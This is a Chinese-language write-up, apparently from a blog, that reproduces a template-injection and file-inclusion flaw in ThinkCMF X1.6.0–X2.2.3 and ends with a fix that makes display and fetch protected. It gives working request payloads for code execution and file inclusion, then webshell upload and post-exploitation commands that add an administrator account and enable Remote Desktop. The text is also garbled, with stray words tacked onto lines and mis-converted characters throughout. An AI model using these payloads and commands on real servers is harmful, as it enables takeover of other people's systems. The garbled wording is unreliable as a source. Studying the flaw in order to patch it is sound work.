ThinkCMF X1.6.0-X2.2.3框架任意內容包含漏洞分析復現php
1、ThinkCMF簡介html
ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理系統框架,底層採用ThinkPHP3.2.3構建。ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者能夠根據自身的需求以應用的形式進行擴展。git
每一個應用都能獨立的完成本身的任務,也可經過系統調用其餘應用進行協同工做。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工做的,但他們之間又可經過系統自己進行協調,大大的下降了開發成本和溝通成本。github
2、漏洞描述web
引發漏洞的最主要的問題是由於fetch函數和display函數是public類型。thinkphp
fetch函數的做用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時即可以造成模板注入。數據庫
display函數的做用是加載模板和頁面輸出,所對應的參數爲:templateFile模板文件地址,charset模板字符集,contentType輸出類型,content輸出內容。緩存
fetch和display的用法差很少,兩者的區別就是display方法直接輸出模板文件渲染後的內容,而fetch方法是返回模板文件渲染後的內容。app
3、漏洞影響版本框架
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
4、漏洞環境搭建
一、下載ThinkCMF2.2.2版本,下載地址: https://github.com/thinkcmf/cmfx
二、解壓以後直接放到phpstudy環境的web根目錄下, 訪問http://192.168.10.171/cmfx/
三、輸入數據庫密碼,設置用戶名、密碼、郵箱等完成安裝設置,以下成功安裝
5、漏洞復現
一、使用sublime text打開cmfx-X2.2.2文件夾,首先分析主頁代碼,發現看一下程序的項目路徑在application目錄下
二、跟進application,發現IndexController.class.php(入口分組的控制器類)
三、發現IndexController類中只有一個方法display方法,跟進父類HomebaseController文件
四、根據ThinkPHP框架規則,能夠經過g\m\a參數指定分組\模塊\方法,這裏能夠經過a參數直接調用Portal\IndexController父類(HomebaseController)中的一些權限爲public的方法。
ThinkPHP框架規則參考: https://www.cnblogs.com/czx521/p/6536954.html
5.一、分析發現display函數和fetch函數是權限爲public, display函數的做用是加載模板和頁面輸出,所對應的參數爲:templateFile模板文件地址,charset模板字符集,contentType輸出類型,content輸出內容。templateFile參數會通過parseTemplate函數處理。
5.二、跟進parseTemplate函數, 判斷模板是否存在,當模板不存在時會在當前目錄下開始查找,這裏配合一處上傳造成文件包含。最終造成的payload :index.php?a=display&templateFile=xx.txt
六、fetch函數的做用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時即可以造成模板注入。
這裏fetch函數的三個參數分別對應模板文件,輸出內容,模板緩存前綴。利用時templateFile和prefix參數能夠爲空,在content參數傳入待注入的php代碼便可。
七、第一種利用方法使用a參數的fetch方法,實現遠程代碼執行
7.一、payload以下:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
執行payload,頁面是空白的
7.二、訪問test.php
7.三、上傳一句話木馬
7.四、菜刀鏈接
7.五、新建用戶並添加到管理員組,開啓遠程桌面鏈接
net user test test /add
net localgroup administrators test /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
7.六、而後遠程鏈接就行
八、第二種方法, 經過構造a參數的display方法,實現任意文件包含
Payload: ?a=display&templateFile=README.md
6、漏洞修復
能夠經過漏洞成因看出來,引發漏洞最主要的緣由就是fetch和display函數是public,能夠在外面被訪問,所以修復方案就是將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改成 protected,使他們沒法在外面被訪問。
------------------------------------------------------------------------------------
參考: https://xz.aliyun.com/t/6626